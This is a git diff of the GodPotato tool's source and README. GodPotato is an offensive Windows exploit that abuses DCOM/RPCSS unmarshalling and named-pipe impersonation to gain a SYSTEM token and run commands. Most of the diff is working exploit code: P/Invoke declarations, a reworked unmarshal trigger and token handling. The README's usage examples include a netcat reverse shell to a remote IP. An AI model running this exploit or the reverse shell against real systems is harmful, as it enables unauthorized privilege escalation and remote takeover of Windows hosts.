|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
|
||||
[DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)]
|
||||
public static extern int CreateILockBytesOnHGlobal(
|
||||
IntPtr hGlobal,
|
||||
[MarshalAs(UnmanagedType.Bool)] bool fDeleteOnRelease,
|
||||
out ILockBytes ppLkbyt);
|
||||
|
||||
[DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)]
|
||||
public static extern int StgCreateDocfileOnILockBytes(
|
||||
ILockBytes plkbyt,
|
||||
int grfMode,
|
||||
uint reserved,
|
||||
out IStorage ppstgOpen);
|
||||
[DllImport("ole32.dll")]
|
||||
public static extern int CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, ref Guid pclsid,
|
||||
[MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, CLSCTX dwClsCtx,
|
||||
IStorage pstg, uint cmq, [In, Out] MULTI_QI[] rgmqResults);
|
||||
public static extern int CoUnmarshalInterface(IStream stm, ref Guid riid, out IntPtr ppv);
|
||||
|
||||
[DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)]
|
||||
public static extern int CreateBindCtx(uint reserved, out IBindCtx ppbc);
|
||||
|
||||
[DllImport("ole32.dll", CharSet = CharSet.Unicode, PreserveSig = false, ExactSpelling = true)]
|
||||
public static extern int CreateObjrefMoniker(IntPtr pUnk, out IMoniker ppMoniker);
|
||||
public static IntPtr GuidToPointer(Guid g)
|
||||
{
|
||||
IntPtr ret = IntPtr.Zero;
|
||||
lock (IIDPTR)
|
||||
{
|
||||
if (!IIDPTR.TryGetValue(g, out ret))
|
||||
{
|
||||
ret = Marshal.AllocCoTaskMem(16);
|
||||
Marshal.Copy(g.ToByteArray(), 0, ret, 16);
|
||||
IIDPTR[g] = ret;
|
||||
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace GodPotato.NativeAPI
|
||||
{
|
||||
internal class UnmarshalDCOM
|
||||
{
|
||||
private readonly static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}");
|
||||
|
||||
public static int UnmarshalObject(Stream stm, Guid iid, out IntPtr ppv)
|
||||
{
|
||||
return NativeMethods.CoUnmarshalInterface(new IStreamImpl(stm), ref iid,out ppv);
|
||||
}
|
||||
|
||||
public static int UnmarshalObject(byte[] objref, out IntPtr ppv)
|
||||
{
|
||||
return UnmarshalObject(new MemoryStream(objref), IID_IUnknown,out ppv);
|
||||
}
|
||||
}
|
||||
}
|
||||
+11
-65
@@ -1,42 +1,18 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using GodPotato.NativeAPI;
|
||||
using static GodPotato.NativeAPI.NativeMethods;
|
||||
using System.Security.Principal;
|
||||
using SharpToken;
|
||||
using static GodPotato.ArgsParse;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace GodPotato
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
|
||||
public static IStorage CreateIStorage()
|
||||
{
|
||||
int hr = 0;
|
||||
IStorage ppstgOpen;
|
||||
Guid guid = Guid.NewGuid();
|
||||
if ((hr = CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes)) == NOERROR)
|
||||
{
|
||||
if ((hr = StgCreateDocfileOnILockBytes(lockBytes, NativeMethods.STGM_CREATE | NativeMethods.STGM_READWRITE | NativeMethods.STGM_SHARE_EXCLUSIVE, 0, out ppstgOpen)) != NativeMethods.NOERROR)
|
||||
{
|
||||
throw new Exception("StgCreateDocfile fail hr = " + hr);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception("CreateILockBytesOnHGlobal fail hr = " + hr);
|
||||
}
|
||||
return ppstgOpen;
|
||||
}
|
||||
|
||||
|
||||
|
||||
class GodPotatoArgs
|
||||
{
|
||||
[ArgsAttribute("clsid", "{4991d34b-80a1-4291-83b6-3328366b9097}", Description = "Clsid")]
|
||||
public string clsid { get; set; }
|
||||
[ArgsAttribute("cmd","cmd /c whoami",Description = "CommandLine",Required = true)]
|
||||
public string cmd { get; set; }
|
||||
}
|
||||
@@ -91,24 +67,6 @@ namespace GodPotato
|
||||
}
|
||||
}
|
||||
|
||||
List<string> clsids = new List<string>
|
||||
{
|
||||
"4991d34b-80a1-4291-83b6-3328366b9097",//bits
|
||||
"F20DA720-C02F-11CE-927B-0800095AE340",//Package
|
||||
"A47979D2-C419-11D9-A5B4-001185AD2B89",//Network List Manager
|
||||
"682159D9-C321-47CA-B3F1-30E36B2EC8B9"//explorer.exe
|
||||
};
|
||||
|
||||
|
||||
potatoArgs.clsid = potatoArgs.clsid.ToLower();
|
||||
if (clsids.Contains(potatoArgs.clsid))
|
||||
{
|
||||
clsids.Remove(potatoArgs.clsid);
|
||||
}
|
||||
clsids.Insert(0, potatoArgs.clsid);
|
||||
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, Guid.NewGuid().ToString());
|
||||
@@ -123,31 +81,19 @@ namespace GodPotato
|
||||
ConsoleWriter.WriteLine("[*] Start PipeServer");
|
||||
godPotatoContext.Start();
|
||||
|
||||
for (int i = 0; i < clsids.Count; i++)
|
||||
GodPotatoUnmarshalTrigger storageTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
|
||||
try
|
||||
{
|
||||
Guid comGuid = new Guid(clsids[i]);
|
||||
|
||||
MULTI_QI[] qis = new MULTI_QI[1];
|
||||
qis[0].pIID = NativeMethods.GuidToPointer(IUnknownGuid);
|
||||
IStorage storage = CreateIStorage();
|
||||
GodPotatoStorageTrigger storageTrigger = new GodPotatoStorageTrigger(storage, godPotatoContext);
|
||||
try
|
||||
{
|
||||
ConsoleWriter.WriteLine("[*] Trigger RPCSS CLSID: " + comGuid);
|
||||
|
||||
int hr = CoGetInstanceFromIStorage(null, ref comGuid, null, CLSCTX.LOCAL_SERVER, storageTrigger, 1, qis);
|
||||
ConsoleWriter.WriteLine("[*] CoGetInstanceFromIStorage: 0x{0:x}", hr);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ConsoleWriter.WriteLine(e);
|
||||
}
|
||||
|
||||
if (godPotatoContext.GetToken() != null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
ConsoleWriter.WriteLine("[*] Trigger RPCSS");
|
||||
int hr = storageTrigger.Trigger();
|
||||
ConsoleWriter.WriteLine("[*] UnmarshalObject: 0x{0:x}", hr);
|
||||
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ConsoleWriter.WriteLine(e);
|
||||
}
|
||||
|
||||
|
||||
WindowsIdentity systemIdentity = godPotatoContext.GetToken();
|
||||
if (systemIdentity != null)
|
||||
|
||||
@@ -37,13 +37,11 @@ Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11
|
||||
|
||||
Arguments:
|
||||
|
||||
-clsid Required:False Clsid (default {4991d34b-80a1-4291-83b6-3328366b9097})
|
||||
-cmd Required:True CommandLine (default cmd /c whoami)
|
||||
|
||||
Example:
|
||||
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
GodPotato -clsid {4991d34b-80a1-4291-83b6-3328366b9097} -cmd "cmd /c whoami"
|
||||
|
||||
|
||||
```
|
||||
@@ -62,7 +60,7 @@ GodPotato -cmd "cmd /c whoami"
|
||||
Customize Clsid and execute commands
|
||||
|
||||
```
|
||||
GodPotato -clsid {4991d34b-80a1-4291-83b6-3328366b9097} -cmd "cmd /c whoami"
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
|
||||
```
|
||||
|
||||
@@ -73,7 +71,7 @@ GodPotato -clsid {4991d34b-80a1-4291-83b6-3328366b9097} -cmd "cmd /c whoami"
|
||||
Execute reverse shell commands
|
||||
|
||||
```
|
||||
GodPotato -clsid {4991d34b-80a1-4291-83b6-3328366b9097} -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
# Thanks
|
||||
|
||||
|
||||
@@ -1135,7 +1135,6 @@ namespace SharpToken
|
||||
}
|
||||
ret:
|
||||
windowsIdentity.Dispose();
|
||||
NativeMethod.CloseHandle(currentThreadToken);
|
||||
currentProcess.Dispose();
|
||||
return ret;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user